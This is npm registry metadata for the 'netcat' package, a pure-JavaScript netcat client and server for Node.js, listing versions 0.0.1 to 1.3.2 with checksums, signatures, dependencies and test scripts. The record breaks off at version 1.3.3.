{"_id":"netcat","_rev":"28-4aa547a4063b4bb47086a201ccdb18e2","name":"netcat","dist-tags":{"latest":"1.5.2"},"versions":{"0.0.1":{"name":"netcat","version":"0.0.1","keywords":["netcat","nc","swissknife","net","shell","js","node","tcp","udp","server"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@0.0.1","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"938a8a9a72de2dd062a11c9bd25184adb8e3be06","tarball":"https://registry.npmjs.org/netcat/-/netcat-0.0.1.tgz","integrity":"sha512-8hoA7iXGFQKnyzjKbKqi4bU3TuFHVFKZdBMPqHtdB+1eGyJ8K+0g3oY1qYEtSWiF0D4baI6xuu4VtP4qniXfJw==","signatures":[{"sig":"MEQCIHT9q+Hj2oA59yJU76yoDv8CnRhV0ONgEBb8bMXM/3fGAiBJp5ffd5BCu+EkQaZtj8y8eTDhm0p94L8PT+MWNBl3qw==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"938a8a9a72de2dd062a11c9bd25184adb8e3be06","gitHead":"0701ddf86cceff737972d37d4e1741e7bdae2583","scripts":{"test":"standard && nsp check"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","devDependencies":{"nsp":"^2.6.3","standard":"^10.0.2"},"_npmOperationalInternal":{"tmp":"tmp/netcat-0.0.1.tgz_1494178363575_0.44831836922094226","host":"packages-18-east.internal.npmjs.com"}},"0.0.2":{"name":"netcat","version":"0.0.2","keywords":["netcat","nc","swissknife","net","shell","js","node","tcp","udp","server"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@0.0.2","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"69b090f04c3503e1107556f15cf8aff435d8000f","tarball":"https://registry.npmjs.org/netcat/-/netcat-0.0.2.tgz","integrity":"sha512-JJMnq+fGYTGUHgu3EXSj5baWx2gZINI+7MvKezFMBHHNRfC2ogGTF2ckkMk1BErFQqxq1Y3/tOY19c4aeCDfwg==","signatures":[{"sig":"MEUCICH1rexyXAIl1yuR81A02zLBpvH80uQcsMW780zm7DCHAiEA7o1XD+reFqtkS/KrVPdhfuSs1hilmPPVEFisBtFlvqs=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"69b090f04c3503e1107556f15cf8aff435d8000f","gitHead":"dee9879bee18a9296d5c8f72cf282af67a63d98f","scripts":{"test":"tape ./tests/**/*.js | node_modules/.bin/tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"2.15.11","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"4.8.1","dependencies":{"async":"^2.4.1","debug":"^2.6.6","shortid":"^2.2.8","through2":"^2.0.3"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-0.0.2.tgz_1496050507081_0.013071391498669982","host":"s3://npm-registry-packages"}},"0.0.3":{"name":"netcat","version":"0.0.3","keywords":["netcat","nc","swissknife","net","shell","js","node","tcp","udp","server"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@0.0.3","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"e102a007713a3e5a48c9898bd8588291876d433d","tarball":"https://registry.npmjs.org/netcat/-/netcat-0.0.3.tgz","integrity":"sha512-Z+YkyrItLcb/VhzzPq2aJTfj7nkbpXQe4cBpF7qJqMEwzUnbvywOIRdvVNu/8hLqIEEiacI2DfWFA7GZShnGrQ==","signatures":[{"sig":"MEQCIGtfWMAy6fgUA0Dvxo6qyjRtph707+I6PxGHjfy2XdYwAiBygPHsN+JCeTrWQj7l1ixcKNzhSBEHBHWSkS/m87Lz3g==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"e102a007713a3e5a48c9898bd8588291876d433d","engines":{"node":">=6.0.0"},"gitHead":"dab86be07d8521ed10c75c5d7ed2845e5646c694","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"async":"^2.4.1","debug":"^2.6.6","shortid":"^2.2.8","through2":"^2.0.3"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-0.0.3.tgz_1497126665997_0.3928554591257125","host":"s3://npm-registry-packages"}},"0.0.4":{"name":"netcat","version":"0.0.4","keywords":["netcat","nc","swissknife","net","shell","js","node","tcp","udp","server"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@0.0.4","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"5297b24731c4a14cdc314e02e2f1e6eb125cf53e","tarball":"https://registry.npmjs.org/netcat/-/netcat-0.0.4.tgz","integrity":"sha512-ogVwUAJtE0nZQOTDJAWT6AF8raG2BmS2lyZUvMxvGOh9er+9YkFrsr5LcEzI9ygt+DyPWfL1Eh98RyGjbNMDaQ==","signatures":[{"sig":"MEUCIA/qnpe8m0WBw69z1e3UvNfBbQG2AsvPWGsl5OvZ95pCAiEA4H//w4XMRwGOd52lnHhFLswkq41e93R2cv+tWmNC+aQ=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"5297b24731c4a14cdc314e02e2f1e6eb125cf53e","engines":{"node":">=6.0.0"},"gitHead":"59e281ff0667d0b89b6dc60920363cae04d1aa54","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"async":"^2.4.1","debug":"^2.6.6","shortid":"^2.2.8","through2":"^2.0.3"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-0.0.4.tgz_1497195843096_0.3599116418045014","host":"s3://npm-registry-packages"}},"0.0.5":{"name":"netcat","version":"0.0.5","keywords":["netcat","nc","swissknife","net","shell","js","node","tcp","udp","server"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@0.0.5","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"2dce731dc7b77d7262f83fd213a9cbe21ae97195","tarball":"https://registry.npmjs.org/netcat/-/netcat-0.0.5.tgz","integrity":"sha512-MewhQBcSNO4K7kZ07cDpXFtQhzUp5XHjZKegkzINFDEVsmDQ0x4vfRZY7m5MkCak/gc/Q5wwxQfp+sSjyaxcjQ==","signatures":[{"sig":"MEUCIF3TktVkykQsst5GTxL5oBubaKw9YM1HrMsuLomM9QK8AiEA/P2iOnAnQzTaDNt4gXeYIjnquriC7JznXg4PvHuBNpk=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"2dce731dc7b77d7262f83fd213a9cbe21ae97195","engines":{"node":">=6.0.0"},"gitHead":"6176f97189cef347db4ccf25be820b8ea79b20c7","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"4.0.0","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.8.0","dependencies":{"async":"^2.4.1","debug":"^2.6.6","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-0.0.5.tgz_1497460201513_0.9800299548078328","host":"s3://npm-registry-packages"}},"1.0.6":{"name":"netcat","version":"1.0.6","keywords":["netcat","nc","swissknife","net","shell","js","node","tcp","udp","server"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.0.6","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"778f9fbccf558d9522220278f7cac924fed3acbb","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.0.6.tgz","integrity":"sha512-yuZwqSOSYT2Hk0unjxLUQSuLwXyIEb6cenMo0sWkGWEV/BcqsJ3gsGs39rxZvCK4HLbN+sOuD5AiF9suVBxFeg==","signatures":[{"sig":"MEYCIQDGiH3Yob/OcIe4BAwdJjG1MGN0uQAIdkyVpg0naBe37gIhAMrVZhanIcnuYER3xhpCLCOJAq7tt9Rm8ILaefzOwPpb","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"778f9fbccf558d9522220278f7cac924fed3acbb","engines":{"node":">=6.0.0"},"gitHead":"13e9ebb885a7f6ab7ef50c6eff50caa1be2aa9f9","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"async":"^2.4.1","debug":"^2.6.6","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.0.6.tgz_1497654289192_0.48426412837579846","host":"s3://npm-registry-packages"}},"1.1.5":{"name":"netcat","version":"1.1.5","keywords":["netcat","nc","swissknife","net","shell","js","node","tcp","udp","server"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.1.5","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"32b747cda2fc9a2b9e339d589da0953081d3a780","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.1.5.tgz","integrity":"sha512-toe86Y1EEZGYUaACXnYb2dtoXC5ZY17eOgCh0+R/CEUtEtdcyI16JO/c6SjEZ+lOyE0Kh0jSK1jd8H4g9nTSGQ==","signatures":[{"sig":"MEQCIHEe73odJqV6UnnqYgB9YyFzmNFaVQlmGQAK8cQU7nsNAiAcW2HWWgWqb+SjcEmbp2HTJpfFojFHgt7MsN5qLAy0mQ==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"32b747cda2fc9a2b9e339d589da0953081d3a780","engines":{"node":">=6.0.0"},"gitHead":"c6490b88da7efb6c28aa7a8736071eee017507dd","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"async":"^2.4.1","debug":"^2.6.6","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.1.5.tgz_1497794882065_0.6560050647240132","host":"s3://npm-registry-packages"}},"1.2.5":{"name":"netcat","version":"1.2.5","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.2.5","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"e54c6eced851ed9d9b4f80f7f03d304778beadda","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.2.5.tgz","integrity":"sha512-zgbThBe9ejpv1als3lIqnNxbXhcuSCZ6NNOWLP6XHaNBM9m5wZ3sftJ1C9O305ryBqqgv2+hafCBrkcbcdSc9w==","signatures":[{"sig":"MEUCIHPCrABlKC+IWAyb3LvOiMa17fqRCdM0mL2IKjvbLiKsAiEA17eT/ueuVeb070BE3c+tCUFhh0/Rje+uj55Tqp+eehM=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"e54c6eced851ed9d9b4f80f7f03d304778beadda","engines":{"node":">=6.0.0"},"gitHead":"98c96906fa76ad124719e75f0ec1853e39113c05","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.10.8","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"7.0.0","dependencies":{"async":"^2.4.1","debug":"^2.6.6","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.2.5.tgz_1497871835463_0.9495241332333535","host":"s3://npm-registry-packages"}},"1.2.6":{"name":"netcat","version":"1.2.6","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.2.6","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"44a047461f5291ce9e41017eafde267f0d711cdf","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.2.6.tgz","integrity":"sha512-7NNybru+kFpJHLOAyGoseFxJl4zeHp6O2o5ItHBL+Mr7mQZZ9/LexOHWRfBZMnnf/KPECq+0895DaXWHyur0cQ==","signatures":[{"sig":"MEUCIQCelY/isw5JFxC4xIZWVveASNGLEssCDEKWf/McqxgZzAIgHSaVwgjyEtjY13QbIKzh/V0sytCXB5xGZWpVq57/wpE=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"44a047461f5291ce9e41017eafde267f0d711cdf","engines":{"node":">=6.0.0"},"gitHead":"de245579ef85fefa8089f84ea982e28ff37c7c6a","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"async":"^2.4.1","debug":"^2.6.6","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.2.6.tgz_1498246309749_0.8159358324483037","host":"s3://npm-registry-packages"}},"1.2.7":{"name":"netcat","version":"1.2.7","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.2.7","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"a3a7e9ef523dbe8d7681ec39cfdd907975ea5640","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.2.7.tgz","integrity":"sha512-/Nqsw2uwAZpjzfrw5ID4I0NQ4ddLh9z/mOHATimZSx6TwVCVR1eOFY4uSMBIDhj75qGicnJkDgJnKaIYcBA7cQ==","signatures":[{"sig":"MEUCIFfwg/i1S/Gn7kbkVAOZQe52lypLP2eCf4hRvLYdyJF0AiEA24APk10Fi5uglOvoRxE7ufN3RG/T3zHGPFSK83+f+8A=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"a3a7e9ef523dbe8d7681ec39cfdd907975ea5640","engines":{"node":">=6.0.0"},"gitHead":"71bcc7297fd05a4b59869fa4114efa3b45f6c86c","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"async":"^2.4.1","debug":"^2.6.6","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.2.7.tgz_1498249716609_0.2670408363919705","host":"s3://npm-registry-packages"}},"1.2.8":{"name":"netcat","version":"1.2.8","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.2.8","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"a01eddadfb54151d0c59890faf879052cc292eb6","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.2.8.tgz","integrity":"sha512-CJjox0XJw7H51+iXg5pLlQVdXnxEyGX6d4TjUzrGfz04QAP/KLco0T+lZ0ImP2ZRD3b7o3Mut73HmyF1JVGujw==","signatures":[{"sig":"MEUCIQCKNqg05i9zEqzkE7TEeOPS+jzj2C+TlMDmJAW8o7zvLAIgaNSTZs8fI4VOs+sFWIG4EzrJon6XOP3OlDQ7kBkGcD0=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"a01eddadfb54151d0c59890faf879052cc292eb6","engines":{"node":">=4.8.0"},"gitHead":"0c1aad4054b413665c730ec7c66f29c9981aff07","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"2.15.11","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"4.8.1","dependencies":{"async":"^2.4.1","debug":"^2.6.6","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.2.8.tgz_1498576550498_0.3433922326657921","host":"s3://npm-registry-packages"}},"1.3.0":{"name":"netcat","version":"1.3.0","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.3.0","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"05d4fd70f859856d42c21bb0a5551d207d9e14cc","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.3.0.tgz","integrity":"sha512-bkTyRs2+W0SRhlgEePaUY57wX2lGmxnTK1sFF8LZ9L9I+iSeBbN5PZY3OnubdygRjrC6YRGr9kJwUnCmB4NyjA==","signatures":[{"sig":"MEUCIDqqhIRSHmC5yUVKNCqFRkpC6nn/r1pes83KlpxjiyFEAiEAvT6nujHxmH1fPs//q+udKx0dmjJ21RCkIFf3eHYfdBQ=","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"05d4fd70f859856d42c21bb0a5551d207d9e14cc","engines":{"node":">=4.8.0"},"gitHead":"b2e40b4d7d72e77353569d2c78628f358f17187e","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.10.8","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.8.0","dependencies":{"async":"^2.4.1","debug":"^2.6.6","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.3.0.tgz_1501167952479_0.07942714192904532","host":"s3://npm-registry-packages"}},"1.3.1":{"name":"netcat","version":"1.3.1","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.3.1","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"0aebb84cf73f8eb26d15edf482ad09f304d5ec38","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.3.1.tgz","integrity":"sha512-nD4OMroGOQBjobqOsoEtjqyvQrKgbtoWl72g4hhnR//QHsIlVnNwSmOqRkSuX1GQ4Wu46oiQEUFiUJliGlfRQw==","signatures":[{"sig":"MEQCIHPAa9+M43ObMQLMelqTFefhQksD53er9podocDlP8pcAiBYdiN8/SQGzB2SdWeLmCXbT83FWxidsFeyQaTbl322tQ==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"0aebb84cf73f8eb26d15edf482ad09f304d5ec38","engines":{"node":">=4.8.0"},"gitHead":"8ed3e1c9cb163dd1c3be7b8453db987bea7613e8","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"rocco@hackerstribe.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"debug":"^2.6.6","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.3.1.tgz_1501352374376_0.9451093312818557","host":"s3://npm-registry-packages"}},"1.3.2":{"name":"netcat","version":"1.3.2","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco Musolino"},"license":"ISC","_id":"netcat@1.3.2","maintainers":[{"name":"roccomuso","email":"rocco@hackerstribe.com"}],"homepage":"https://github.com/roccomuso/netcat#readme","bugs":{"url":"https://github.com/roccomuso/netcat/issues"},"dist":{"shasum":"4494597d9e1b967d273f8ba25d4a19a557a68346","tarball":"https://registry.npmjs.org/netcat/-/netcat-1.3.2.tgz","integrity":"sha512-6uBOwIUwSTfkU+6EAhGhqg+HX9enkuQnIcm6kbCwTHvOhwGjlnxyOzRL7TK7lxBpz294ZrtcFEUDNspkPTwdQA==","signatures":[{"sig":"MEQCIHFtQDk47acrt0RnlfSmP1rYjujkRdw2tTOCWOKtJcH/AiAppDodPEPQuduLfTwp4x68w04A0wFXFH2S3/reSL7cWA==","keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA"}]},"main":"index.js","_from":".","_shasum":"4494597d9e1b967d273f8ba25d4a19a557a68346","engines":{"node":">=4.8.0"},"gitHead":"cdf06a93ba92595a1b84f4617efce3ebbeef2da4","scripts":{"tcp":"tape ./tests/tcp.js | tap-spec","udp":"tape ./tests/udp.js | tap-spec","test":"tape ./tests/**/*.js | tap-spec && standard && nsp check","start":"node server.js"},"_npmUser":{"name":"roccomuso","email":"roccomusolino92@gmail.com"},"repository":{"url":"git+https://github.com/roccomuso/netcat.git","type":"git"},"_npmVersion":"3.9.5","description":"Netcat client and server modules written in pure Javascript for Node.js","directories":{},"_nodeVersion":"6.2.2","dependencies":{"debug":"^3.1.0","hexer":"^1.5.0","shortid":"^2.2.8","through2":"^2.0.3","datagram-stream":"^1.1.1","async-each-series":"^1.1.0"},"devDependencies":{"nsp":"^2.6.3","tape":"^4.6.3","standard":"^10.0.2","tap-spec":"^4.1.1","concat-stream":"^1.6.0"},"_npmOperationalInternal":{"tmp":"tmp/netcat-1.3.2.tgz_1506793082436_0.7767300519626588","host":"s3://npm-registry-packages"}},"1.3.3":{"name":"netcat","version":"1.3.3","keywords":["netcat","nc","net","shell","js","node","tcp","udp","server","swissarmyknife"],"author":{"name":"Rocco 